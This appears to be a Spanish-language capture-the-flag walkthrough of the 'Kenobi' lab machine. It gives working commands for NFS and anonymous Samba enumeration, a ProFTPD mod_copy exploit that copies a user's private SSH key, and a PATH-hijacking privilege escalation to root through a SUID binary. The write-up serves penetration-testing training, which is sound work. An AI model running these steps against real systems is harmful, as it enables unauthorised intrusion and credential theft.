sudo nmap -sV 10.10.144.45
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp open nfs 2-4 (RPC #100003)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Tiene abierto el puerto 2049 nfs. Esto significa que podremos montar algún directorio.
showmount -e 10.10.144.45
Figura 1: Podremos interactura con el directorio /var
mkdir -p tmp/var
sudo mount -t nfs 10.10.144.45:/var tmp/var
df -k
Figura 2: Montaje de directorio compartido vía NFS
Una vez montado, tendremos acceso al contenido del directorio /var de la máquina Kenobi:
Figura 3: Contenido del directorio /var
smbclient -L //10.10.144.45 -N
Figura 4: Listar los recursos compartidos de Samba
Accedemos a la carpeta compartida anonymous:
(Si pide credenciales ponemos anonymous)
smbclient //10.10.144.45/anonymous
Figura 5: Veremos un archivo llamativo: log.txt
Nos descargaremos el archivo log.txt
get log.txt /home/kali/Desktop/log.txt
Figura 6: Descarga del archivo log.txt desde Samba
Ahora podremos ver el contenido del archivo desde nuestro equipo
Figura 7: Contenido del archivo log.txt
Destaca sobre todo la parte inicial, donde vemos la creación de una llave privada para el usuario kenobi y su ubicación en el sistema.
Figura 8: Contenido llamativo del archivo log.txt
Destaca sobre todo la parte inicial, donde vemos la creación de una llave privada para el usuario kenobi y su ubicación en el sistema.
Figura 9: Busqueda de vulnerabilidades del servicio FTP (ProFTPD 1.3.5)
Esta vulnerabilidad para ProFTPD se conoce como “File_copy”, y nos permite realizar copias de archivos dentro del sistema de manera arbitraria sin la necesidad de estar debidamente autenticados.
nc 10.10.144.45 21
site help
site CPFR /home/kenobi/.ssh/id_rsa
site CPTO /var/tmp/id_rsa
Figura 10: Uso del módulo mod_copy para copiar id_rsa
Ahora vamos a /var/tmp y ya tenemos allí la clave ssh
Figura 11: Clave id_rsa descargada en nuestro equipo
Con la clave id_rsa podremos conectarnos por SSH a la máquina
Accedemos a la máquina por SSH usando la clave RSA
sudo chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.144.45
Figura 12: Acceso SSH a la máquina como kenobi
Una vez establecida la conexión SSH podremos ver la user flag (user.txt)
cat user.txt
Figura 13: User Flag (user.txt)
Primero buscaremos ficheros con permisos SUID activos
find / -perm -u=s 2>/dev/null
Figura 14: Encontramos un binario sospechoso /usr/bin/menu
Hay un binario que no corresponde a los típico de linux (/usr/bin/menu). Para corroborarlo, lo ejecutaremos:
/usr/bin/menu
Figura 15: Ejecución del binario sospechoso /usr/bin/menu
Vemos que es una utilidad que realiza diversas acciones dentro de la máquina y muestra información. Lo que está pasando por detrás, es que ejecuta otros comandos dentro de la máquina, lo cual puede ser peligroso ya que los binarios a los que manda a llamar no están declarados con su ruta absoluta.
Al ejecutar strings sobre el binario, observamos que realizan llamadas al comando ifconfig utilizando una ruta relativa. Para confirmar este comportamiento, inspeccionamos las cadenas de texto contenidas en el binario:
Figura 16: Analizando el binario /usr/bin/menu
Figura 17: Se realizan llamadas al comando ifconfig utilizando una ruta relativa
El programa ejecuta comandos sin ruta absoluta (ej. ifconfig en vez de /sbin/ifconfig).
● Si $PATH incluye un directorio que podemos escribir (como /tmp), podemos crear un
falso comando malicioso.
● El sistema lo ejecutará en lugar del real → path hijacking, útil para ejecutar código propio
o escalar privilegios.
Miramos el contenido de la variable PATH para comprobar cuales están activas:
echo $PATH
Figura 18: Comprobación de las variable PATH
Vamos al directorio /tmp y creamos un fichero ifconfig (ruta que usaremos para el path hijacking) que, al ejecutarse, abrirá una shell (/bin/sh)
cd /tmp
echo "/bin/sh" > ifconfig
chmod +x ifconfig
Figura 19: Creación de un nuevo fichero ifconfig
Ahora modificamos el PATH y añadimos el directorio /tmp (donde se encuentra nuestro fichero ifconfig)
PATH=/tmp:$PATH
echo $PATH
Figura 20: Modificación del PATH
Entonces, al ejecutar menú de nuevo con la opción de ifconfig nos convertiremos en root:
/usr/bin/menu
Figura 21: Ejecución de /menu con el PATH modificado
cd /root
cat root.txt
Figura 22: Root Flag (root.txt)